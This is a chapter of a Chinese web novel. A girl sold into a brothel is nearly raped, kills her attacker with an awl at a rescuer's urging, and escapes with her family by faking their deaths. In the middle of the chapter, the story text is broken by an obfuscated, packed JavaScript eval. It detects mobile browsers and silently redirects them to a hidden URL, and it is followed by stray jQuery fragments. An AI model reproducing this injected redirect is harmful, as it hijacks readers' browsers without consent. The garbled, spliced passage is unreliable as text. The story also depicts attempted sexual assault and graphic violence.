48. 假死

作品:《他说他是个太监

    少女发丝凌乱,在大腹便便的中年男人身下奋力挣扎,奈何体型差距过于悬殊,始终无法撼动男人分毫,就在亵裤被强行扯掉,冷风灌入的那刻,林絮再也惹不住,眼角的泪水决堤落下,对着上方之人张口便咬。


    “嘶”中年男人吃痛出声,对着林絮的脸狠狠打去。


    鲜明的巴掌印记显现出来。林絮恨恨盯着男人,恨这个禽兽,更恨自己的娘亲,为了自己的幸福,将自己狠心推入这地狱。


    最初她们一家女眷到了教坊司,看到那些为了生计谄媚权贵,奴颜媚骨的女子,心中充满了鄙夷。


    教坊司的主管妈妈看到她们一脸厌弃,也不多说,将她们一众人打发去后院破落的屋中。


    一众女眷吃了几日大牢里的苦日子后,来到此处,抱怨了几句后,在祖母的安排下也老实扫洒起来。


    虽说屋舍破落,倒也可以住人。


    后来来了个大腹便便的中年男人,命令女眷去浆洗姑娘们换下的衣衫,擦洗前院的楼阁,更甚于清洗下人用满的恭桶。


    一贯娇生惯养的小姐夫人们终是无法忍受,反抗换来一次次的鞭打。


    终于,不知道是哪个堂姐妹开了头,竟然自荐枕席,爬上了那个中年男人的床,成为了最初见到的教坊司内女子的样子,毫无尊严气节,为了生存,可以出卖一切甚至于女子的贞洁。


    女儿抛头露面,做母亲的也跟着过起了好日子,不用再干低贱粗俗肮脏的活计。


    早晨,林絮正在屋内照料生病的曾祖母。自从祖母发现一个接一个的林家后代变得面目全非,身子便一日差过一日,渐渐地无法起床。


    虽然每日有干不完的活,但是林絮总能偷偷跑过来看看祖母。


    看到姐妹们各个开始身穿绫罗,头戴簪缨,不是没有羡慕,只是她不想为了那些黄白之物让自己变成自己曾经最不屑的人,更不想让最疼爱自己的曾祖母伤心难过,若是自己也妥协了,怕是曾祖母真的会一病不起。


    哪怕娘亲已经旁敲侧击过数次探查自己的态度,也只能装傻充愣避开。


    “絮儿,前院有个姑娘说想要个莲叶并蒂的荷包,钱财不是问题,愿给一两银子呢!娘亲记得絮儿的绣活可是出了名的好,絮儿可愿去接了这个活计?”


    “一两银子?”林絮甚为心动,在娘亲的注视下缓缓点了点头。“女儿愿意的”


    若是有了这笔钱就可以给曾祖母买药了,当初表妹给的钱都被那帮天杀的给搜罗走了,若是再不想法子挣点,怕是祖母的病情要被自己耽误了。


    “诶哟,我的心肝絮儿哟,阿娘就知道你最乖巧了,快跟阿娘去姑娘那领了丝线,早点做完早点领赏钱。”


    不待林絮反应便强行拽着离开了破落的屋子,徒留老妇一人留在屋内。


    “阿娘,您别这样用力,我还没跟曾祖母话别”感受到娘亲的异常,想挣脱却发现双手被紧紧攥住,几乎是被一路拖行过去。


    不待林絮反应,自己便被推入一间屋舍,绝不是姑娘的寝房,却充斥着浓厚的脂粉气息,呛地林絮不住咳嗽。


    “小美人儿,想死大爷了”一双肥厚的手攀上林絮的肩膀,无视少女的反抗,将其压制在自己身下。


    “登徒子,放开我,你放开我,阿娘,阿娘,救我”恐惧挤满少女心头,无助向门外的人求救,企图唤起对方的慈爱。


    “别白费心思了你阿娘早用五两银子卖了你,今日你是我的了”不顾林絮反抗,用力扯开少女衣衫。


    可能是对人世豪无留恋,少女用力咬下男人一块血肉,被打后的脸上没有怯懦,只有绝望,深深的绝望。


    “砰”大门被人暴力踢开,还没来得及看清是何人,中年男子已被踢翻在地。


    愤怒地看向来人“不知死活的东西,你知道本大爷是谁吗?”


    杨鸿朝一侧歪头,脸上挂着懵懂又残忍的笑容“我为什么要知道一个死人的名字”


    中年男子感到恐惧将自己包裹,看到对方朝自己走来,害怕地往后挪去“你别过来,别过来,我有很多钱,很多很多钱”


    “太吵了”杨鸿掏掏耳朵,不耐烦地甩出几枚银针分别刺入对方的喉部及四肢关节处,锐痛袭来,中年男人控制不住欲大吼出声,却无法出声,只能在地上呜呜哭噎。


    “看够了吗?还不起来”背对着身后已然看呆的林絮问道“是想我来帮你穿吗?”


    “不,不用了”手忙脚乱地穿起破碎的衣衫。


    “过来”


    “嗯”用手紧紧捂住漏风的地方来到杨鸿身侧。


    “给你”杨鸿将一根尖细的锥子放到少女手中。


    “什,什么?”看清眼前之人的清俊,一时有点羞髥。


    “想报仇吗?”


    林絮不知道他想让自己干什么,但是她确实想替自己出口气。


    看到少女的神色,杨鸿笑了,笑的邪恶又张扬。


    “拿着,从他的眼眶内侧穿过,把他的脑子搅碎”不带情绪地说着最残忍的话语,好像在说今天中午吃了什么。


    “啊?不,我不行”瞬间意识到眼前之人不似外表这般无害,忙将锥子还给对方。


    “不行?可惜了,本来想救你的,既然如此,还是不多费功夫了,我不救废物。”


    起身掸掉衣袍上不存在灰尘,果断地转身离开。


    害怕再一次被抛下,林絮手上动作快过思考,已拉住对方的衣袍,“别,别走”


    杨鸿眉梢一挑“不走?我没兴趣陪一个废物浪费时间”


    “给,给我”伸手向杨鸿讨要锥子。


    杨鸿看好戏似地站在一旁,看着少女颤巍巍走过去,将锥子尖端对准中年男子,不顾对方恐惧与挣扎,像是看到方才被凌虐的自己,一用力,将尖锥透过眼眶狠狠刺入颅内。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272676|153721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “搅碎他的脑子”


    恶魔在身后低语,操纵着少女一点点堕入深渊。


    “絮表姐,你没事吧”林玥看到两人回来,欣喜地上前打量林絮,见其衣衫破碎不堪,忙从屋内拿了一件外衫套在她身上。


    “表妹”再次感受到温暖的少女,紧紧搂住眼前少女,生怕光明再次离自己远去。


    知道表姐肯定受了不少委屈,安抚地拍拍对方肩膀,“不哭了,咱们不要哭了,我会带你和曾祖母走的,再也不会受委屈了啊”


    不知哭了多久,林絮方收住泪水,“曾祖母一直在担心你,咱们一起去看看她”看了眼身旁的杨鸿,立马转移视线与林玥一道去屋内看看曾祖母。


    祖孙三人商量着该如何悄无声息地离开此处,无论怎么做都不妥当,正当三人愁眉苦脸一筹莫展之际,身后传来天籁之音“我有一计,可愿一试?”


    “真是晦气,呸,这家子人估计是带了什么脏东西,钱总管过来看着这些人也遭了大罪,虽说保住了一命,但是人已经没了魂,痴痴傻傻的,手脚也废了,话也说不出来,这辈子估计就到头了,还不如这家子死的干脆”


    几个小厮奉命将气绝身亡的林絮,林老太太丢至乱葬岗后,生怕沾染什么脏东西,对着衣摆擦了又擦,忙回去复命。


    待几人离开,尾随在身后的林玥与杨鸿从树后走出,忙将二人从土坑中挖出,将一个鼻烟壶打开放在二人鼻下,不多时皆恢复了生机。


    “这个丫头真是胆大”


    陆云收到刘忠的传信,不由感叹,竟敢瞒天过海,将林絮和林老太太收做丫鬟和婆子带回陆府。这个杨鸿,倒是小瞧了他。


    “先生”门外传来敲门声。


    陆云将信件置于火盆,任火舌舔舐纸张直至灰烬“进”


    萧良对着陆云躬身行了一礼“陆先生”


    “殿下客气了,唤我云乔即可”


    “云乔,对于匪患一事有何想法,现下只有你我二人,可否请先生指导一二”


    “殿下此行为何”


    “自是为了剿灭贼匪还百姓一个安生日子”


    “若是如此,殿下与在下便可打道回京了”见对方还在与自己打哑谜,陆云微眯了眯眼,慵懒地靠坐在软塌上。


    “先生,我想收归这批贼匪为己用”


    “殿下有何打算”


    “这批贼匪不似一般贼匪,有着内部的纪律统领,在此处影响逐渐扩大,人员也日益充盈,若能收编为己用,以此处为据点,定能起事”


    “只是”话锋一转,面露难色“江湖这股势力一直是父皇的心头大患,若是无法一道收拢,怕也会在日后成为我的一块绊脚石,还请先生不吝赐教”


    修长手指敲击在桌面,发出“哒哒”声响,垂眸看着眼前诚恳的男子,良久,轻笑出声“殿下何必如此忧虑,江湖中人,最重名义,不如……”